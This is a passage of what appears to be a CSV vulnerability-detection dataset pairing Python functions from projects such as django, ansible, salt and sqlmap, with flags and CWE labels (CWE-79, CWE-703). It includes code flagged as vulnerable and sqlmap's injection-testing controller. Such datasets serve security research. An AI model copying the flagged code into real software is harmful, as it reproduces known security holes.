        fieldnames = [
            ""filename"",
            ""test_name"",
            ""test_id"",
            ""issue_severity"",
            ""issue_confidence"",
            ""issue_text"",
            ""line_number"",
            ""col_offset"",
            ""line_range"",
            ""more_info"",
        ]

        writer = csv.DictWriter(
            fileobj, fieldnames=fieldnames, extrasaction=""ignore""
        )
        writer.writeheader()
        for result in results:
            r = result.as_dict(with_code=False)
            r[""more_info""] = docs_utils.get_url(r[""test_id""])
            writer.writerow(r)

    if fileobj.name != sys.stdout.name:
        LOG.info(""CSV output written to file: %s"", fileobj.name)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/dc/headers.py,0,"def iget(self, header_name, default=None):
        """"""
        :param header_name: The name of the header we want the value for
        :return: The value for a header given a name (be case insensitive)
        """"""
        lower = string.lower
        lower_header_name = lower(header_name)

        for stored_header_name, value in self.iteritems():
            if lower_header_name == lower(stored_header_name):
                return value, stored_header_name

        return default, None",,andresriancho/w3af,477ab6be55dedf9ccaa0b26e50abd9715794d1fc,"def iget(self, header_name, default=None):
        """"""
        :param header_name: The name of the header we want the value for
        :return: The value for a header given a name (be case insensitive)
        """"""
        lower = string.lower
        lower_header_name = lower(header_name)

        for stored_header_name, value in self.iteritems():
            if lower_header_name == lower(stored_header_name):
                return value, stored_header_name

        return default, None"
,UNKNOWN,UNKNOWN,lib/ansible/constants.py,1,"def get_config(parser, section, key, env_var, default_value, value_type=None, expand_relative_paths=False):
    ''' kept for backwarsd compatibility, but deprecated '''
    _deprecated('ansible.constants.get_config() is deprecated. There is new config API, see porting docs.')

    value = None
    # small reconstruction of the old code env/ini/default
    value = os.environ.get(env_var, None)
    if value is None:
        try:
            value = config.get_ini_config(parser, [{'key': key, 'section': section}])
        except:
            pass
    if value is None:
        value = default_value

    value = ensure_type(value, value_type)

    return value",CWE-703,ansible/ansible,2123ed44e4b51061cf2b534d275796bbb3745470,"def get_config(parser, section, key, env_var, default_value, value_type=None, expand_relative_paths=False):
    ''' kept for backwarsd compatibility, but deprecated '''
    _deprecated('ansible.constants.get_config() is deprecated. There is new config API, see porting docs.')

    value = None
    # small reconstruction of the old code env/ini/default
    value = os.environ.get(env_var, None)
    if value is None:
        try:
            value = config.get_ini_config(parser, [{'key': key, 'section': section}])
        except:
            pass
    if value is None:
        value = default_value
    try:
        value = config.ensure_type(value, value_type)
    except:
        pass

    return value"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/testing/iptestcontroller.py,0,"def run(self):
        """"""Run the stored commands""""""
        try:
            retcode = self._run_cmd()
        except KeyboardInterrupt:
            return -signal.SIGINT
        except:
            import traceback
            traceback.print_exc()
            return 1  # signal failure
        
        if self.coverage_xml:
            subprocess.call([""coverage"", ""xml"", ""-o"", self.coverage_xml])
        return retcode",,jupyter/notebook,51653610efc364a46fa73a4caeee44b4186a340f,"def run(self):
        """"""Run the stored commands""""""
        try:
            retcode = self._run_cmd()
        except KeyboardInterrupt:
            return -signal.SIGINT
        except:
            import traceback
            traceback.print_exc()
            return 1  # signal failure
        
        if self.coverage_xml:
            subprocess.call([""coverage"", ""xml"", ""-o"", self.coverage_xml])
        return retcode"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/hooks/test_base_aws.py,0,"def mock_conn(request):
    conn = Connection(conn_type=MOCK_CONN_TYPE, conn_id=MOCK_AWS_CONN_ID)
    if request.param == ""unwrapped"":
        return conn
    if request.param == ""wrapped"":
        return AwsConnectionWrapper(conn=conn)
    raise ValueError(""invalid internal test config"")",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def mock_conn(request):
    conn = Connection(conn_type=MOCK_CONN_TYPE, conn_id=MOCK_AWS_CONN_ID)
    if request.param == ""unwrapped"":
        return conn
    if request.param == ""wrapped"":
        return AwsConnectionWrapper(conn=conn)
    else:
        raise ValueError(""invalid internal test config"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,0,"def script(source,
           args=None,
           cwd=None,
           stdin=None,
           runas=None,
           shell=DEFAULT_SHELL,
           python_shell=True,
           env=(),
           template='jinja',
           umask=None,
           timeout=None,
           reset_system_locale=True,
           __env__='base',
           **kwargs):
    '''
    Download a script from a remote location and execute the script locally.
    The script can be located on the salt master file server or on an HTTP/FTP
    server.

    The script will be executed directly, so it can be written in any available
    programming language.

    The script can also be formated as a template, the default is jinja.
    Arguments for the script can be specified as well.

    CLI Example:

    .. code-block:: bash

        salt '*' cmd.script salt://scripts/runme.sh
        salt '*' cmd.script salt://scripts/runme.sh 'arg1 arg2 ""arg 3""'
        salt '*' cmd.script salt://scripts/windows_task.ps1 args=' -Input c:\\tmp\\infile.txt' shell='powershell'

    A string of standard input can be specified for the command to be run using
    the ``stdin`` parameter. This can be useful in cases where sensitive
    information must be read from standard input.:

    .. code-block:: bash

        salt '*' cmd.script salt://scripts/runme.sh stdin='one\\ntwo\\nthree\\nfour\\nfive\\n'
    '''
    def _cleanup_tempfile(path):
        try:
            os.remove(path)
        except (IOError, OSError) as exc:
            log.error('cmd.script: Unable to clean tempfile {0!r}: {1}'
                      .format(path, exc))

    if isinstance(env, string_types):
        salt.utils.warn_until(
            (0, 19),
            'Passing a salt environment should be done using \'__env__\' not '
            '\'env\'.'
        )
        # Backwards compatibility
        __env__ = env

    if not salt.utils.is_windows():
        path = salt.utils.mkstemp(dir=cwd)
    else:
        path = __salt__['cp.cache_file'](source, __env__)
        if not path:
            _cleanup_tempfile(path)
            return {'pid': 0,
                    'retcode': 1,
                    'stdout': '',
                    'stderr': '',
                    'cache_error': True}

    if template:
        fn_ = __salt__['cp.get_template'](source,
                                          path,
                                          template,
                                          __env__,
                                          **kwargs)
        if not fn_:
            _cleanup_tempfile(path)
            return {'pid': 0,
                    'retcode': 1,
                    'stdout': '',
                    'stderr': '',
                    'cache_error': True}
    else:
        if not salt.utils.is_windows():
            fn_ = __salt__['cp.cache_file'](source, __env__)
            if not fn_:
                _cleanup_tempfile(path)
                return {'pid': 0,
                        'retcode': 1,
                        'stdout': '',
                        'stderr': '',
                        'cache_error': True}
            shutil.copyfile(fn_, path)
    if not salt.utils.is_windows():
        os.chmod(path, 320)
        os.chown(path, __salt__['file.user_to_uid'](runas), -1)
    ret = _run(path + ' ' + str(args) if args else path,
               cwd=cwd,
               stdin=stdin,
               quiet=kwargs.get('quiet', False),
               runas=runas,
               shell=shell,
               python_shell=python_shell,
               umask=umask,
               timeout=timeout,
               reset_system_locale=reset_system_locale)
    _cleanup_tempfile(path)
    return ret",,saltstack/salt,7e11774b90588b94ebc68027d9d36131e080a6ee,"def script(source,
           args=None,
           cwd=None,
           stdin=None,
           runas=None,
           shell=DEFAULT_SHELL,
           python_shell=True,
           env=(),
           template='jinja',
           umask=None,
           timeout=None,
           reset_system_locale=True,
           __env__='base',
           **kwargs):
    '''
    Download a script from a remote location and execute the script locally.
    The script can be located on the salt master file server or on an HTTP/FTP
    server.

    The script will be executed directly, so it can be written in any available
    programming language.

    The script can also be formated as a template, the default is jinja.
    Arguments for the script can be specified as well.

    CLI Example:

    .. code-block:: bash

        salt '*' cmd.script salt://scripts/runme.sh
        salt '*' cmd.script salt://scripts/runme.sh 'arg1 arg2 ""arg 3""'
        salt '*' cmd.script salt://scripts/windows_task.ps1 args=' -Input c:\\tmp\\infile.txt' shell='powershell'

    A string of standard input can be specified for the command to be run using
    the ``stdin`` parameter. This can be useful in cases where sensitive
    information must be read from standard input.:

    .. code-block:: bash

        salt '*' cmd.script salt://scripts/runme.sh stdin='one\\ntwo\\nthree\\nfour\\nfive\\n'
    '''

    if isinstance(env, string_types):
        salt.utils.warn_until(
            (0, 19),
            'Passing a salt environment should be done using \'__env__\' not '
            '\'env\'.'
        )
        # Backwards compatibility
        __env__ = env

    if not salt.utils.is_windows():
        path = salt.utils.mkstemp(dir=cwd)
    else:
        path = __salt__['cp.cache_file'](source, __env__)
        if not path:
            return {'pid': 0,
                    'retcode': 1,
                    'stdout': '',
                    'stderr': '',
                    'cache_error': True}
    if template:
        __salt__['cp.get_template'](source, path, template, __env__, **kwargs)
    else:
        if not salt.utils.is_windows():
            fn_ = __salt__['cp.cache_file'](source, __env__)
            if not fn_:
                return {'pid': 0,
                        'retcode': 1,
                        'stdout': '',
                        'stderr': '',
                        'cache_error': True}
            shutil.copyfile(fn_, path)
    if not salt.utils.is_windows():
        os.chmod(path, 320)
        os.chown(path, __salt__['file.user_to_uid'](runas), -1)
    ret = _run(path + ' ' + str(args) if args else path,
               cwd=cwd,
               stdin=stdin,
               quiet=kwargs.get('quiet', False),
               runas=runas,
               shell=shell,
               python_shell=python_shell,
               umask=umask,
               timeout=timeout,
               reset_system_locale=reset_system_locale)
    os.remove(path)
    return ret"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta
        app_label = opts.app_label

        if not self.has_add_permission(request):
            raise PermissionDenied

        if self.has_change_permission(request, None):
            # redirect to list view
            post_url = '../'
        else:
            # Object list will give 'Permission Denied', so go back to admin home
            post_url = '../../../'

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            for FormSet in self.get_formsets(request):
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except FieldDoesNotExist:
                    pass
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            for FormSet in self.get_formsets(request):
                formset = FormSet(instance=self.model())
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)",CWE-79,django/django,21928f2ba01c5411c57720eec82f7ad8658ed733,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta
        app_label = opts.app_label

        if not self.has_add_permission(request):
            raise PermissionDenied

        if self.has_change_permission(request, None):
            # redirect to list view
            post_url = '../'
        else:
            # Object list will give 'Permission Denied', so go back to admin home
            post_url = '../../../'

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            for FormSet in self.get_formsets(request):
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            form = ModelForm(initial=dict(request.GET.items()))
            for FormSet in self.get_formsets(request):
                formset = FormSet(instance=self.model())
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)"
,UNKNOWN,UNKNOWN,lib/controller/controller.py,1,"def start():
    """"""
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """"""

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = ""you did not edit the configuration file properly, set ""
        errMsg += ""the target URL, list of targets or google dork""
        logger.error(errMsg)
        return False

    if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
        infoMsg = ""found a total of %d targets"" % len(kb.targets)
        logger.info(infoMsg)

    targetCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        targetCount += 1

        try:
            if conf.checkInternet:
                infoMsg = ""checking for Internet connection""
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = ""[%s] [WARNING] no connection detected"" % time.strftime(""%X"")
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(conf.retries):
                        if checkInternet():
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(5)

                    if not valid:
                        errMsg = ""please check your Internet connection and rerun""
                        raise SqlmapConnectionException(errMsg)
                    else:
                        dataToStdout(""\n"")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            if conf.data:
                # Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
                conf.data = re.sub(r""\b(__\w+)=([^&]+)"", lambda match: ""%s=%s"" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)

            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
                for parameter in re.findall(r""([^=]+)=([^%s]+%s?|\Z)"" % (re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = ""SQL injection vulnerability has already been detected ""
                    message += ""against '%s'. Do you want to skip "" % conf.hostname
                    message += ""further tests involving it? [Y/n]""

                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = ""skipping '%s'"" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                if conf.forms and conf.method:
                    message = ""[%d/%s] Form:\n%s %s"" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
                else:
                    message = ""[%d/%s] URL:\n%s %s"" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += ""\nCookie: %s"" % conf.cookie

                if conf.data is not None:
                    message += ""\n%s data: %s"" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or """") is None else conf.data)

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(""?"") == -1:
                        continue

                    message += ""\ndo you want to test this form? [Y/n/q] ""
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = ""Edit %s data [default: %s]%s: "" % (conf.method, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or ""None"") is None else conf.data, "" (Warning: blank fields detected)"" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else """")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = ""Edit GET data [default: %s]: "" % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = ""%s?%s"" % (firstPart, test)

                        parseTargetUrl()

                else:
                    if not conf.scope:
                        message += ""\ndo you want to test this URL? [Y/n/q]""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            dataToStdout(os.linesep)
                            continue
                        elif choice == 'Q':
                            break
                    else:
                        pass

                    infoMsg = ""testing URL '%s'"" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms):
                continue

            if conf.rParam and kb.originalPage:
                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])

                for match in re.finditer(r""(?si)<select[^>]+\bname\s*=\s*[\""']([^\""']+)(.+?)</select>"", kb.originalPage):
                    name, _ = match.groups()
                    options = tuple(re.findall(r""<option[^>]+\bvalue\s*=\s*[\""']([^\""']+)"", _))
                    if options:
                        kb.randomPool[name] = options

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict or place not in conf.parameters:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = ""skipping previously processed %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = ""skipping randomizing %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = ""skipping anti-CSRF token parameter '%s'"" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = ""ignoring %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = ""%sparameter '%s' does not appear to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.warning(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = ""skipping static %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = ""%sparameter '%s' appears to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                        if kb.processUserMarks:
                            if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
                                if kb.processNonCustom is None:
                                    message = ""other non-custom parameters found. ""
                                    message += ""Do you want to process them too? [Y/n/q] ""
                                    choice = readInput(message, default='Y').upper()

                                    if choice == 'Q':
                                        raise SqlmapUserQuitException
                                    else:
                                        kb.processNonCustom = choice == 'Y'

                                if not kb.processNonCustom:
                                    infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = ""testing for SQL injection on %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, ""place"", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        if not kb.alerted:
                                            if conf.alert:
                                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                                logger.info(infoMsg)
                                                try:
                                                    process = subprocess.Popen(conf.alert, shell=True)
                                                    process.wait()
                                                except Exception as ex:
                                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                                    logger.error(errMsg)

                                            kb.alerted = True

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = ""%sparameter '%s' "" % (""%s "" % injection.place if injection.place != injection.parameter else """", injection.parameter)
                                        msg += ""is vulnerable. Do you want to keep testing the others (if any)? [y/N] ""

                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = ""%sparameter '%s' does not seem to be injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.warning(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = ""no parameter(s) found for testing in the provided data ""
                    errMsg += ""(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')""
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(r""<form"", kb.originalPage) is not None:
                            advice.append(""--forms"")
                        if not conf.crawlDepth and re.search(r""href=[\""']/?\w"", kb.originalPage) is not None:
                            advice.append(""--crawl=2"")
                        if advice:
                            errMsg += "". You are advised to rerun with '%s'"" % ' '.join(advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = ""all tested parameters do not appear to be injectable.""

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += "" Try to increase values for '--level'/'--risk' options ""
                        errMsg += ""if you wish to perform more tests.""

                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                        errMsg += "" Rerun without providing the option '--technique'.""

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += "" You can give it a go with the switch '--text-only' ""
                            errMsg += ""if the target page has a low percentage ""
                            errMsg += ""of textual content (~%.2f%% of "" % percent
                            errMsg += ""page content is text).""
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += "" Please retry with the switch '--text-only' ""
                            errMsg += ""(along with --technique=BU) as this case ""
                            errMsg += ""looks like a perfect candidate ""
                            errMsg += ""(low textual content along with inability ""
                            errMsg += ""of comparison engine to detect at least ""
                            errMsg += ""one dynamic parameter).""

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += "" As heuristic test turned out positive you are ""
                        errMsg += ""strongly advised to continue on with the tests.""

                    if conf.string:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--string' as perhaps the string you ""
                        errMsg += ""have chosen does not match ""
                        errMsg += ""exclusively True responses.""
                    elif conf.regexp:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--regexp' as perhaps the regular ""
                        errMsg += ""expression that you have chosen ""
                        errMsg += ""does not match exclusively True responses.""

                    if not conf.tamper:
                        errMsg += "" If you suspect that there is some kind of protection mechanism ""
                        errMsg += ""involved (e.g. WAF) maybe you could try to use ""
                        errMsg += ""option '--tamper' (e.g. '--tamper=space2comment')""

                        if not conf.randomAgent:
                            errMsg += "" and/or switch '--random-agent'""

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = ""do you want to exploit this SQL injection? [Y/n] ""
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
                kb.multipleCtrlC = True
                raise SqlmapUserQuitException(""user aborted (Ctrl+C was pressed multiple times)"")

            kb.lastCtrlCTime = time.time()

            if conf.multipleTargets:
                warnMsg = ""user aborted in multiple target mode""
                logger.warning(warnMsg)

                message = ""do you want to skip to the next target in list? [Y/n/q]""
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
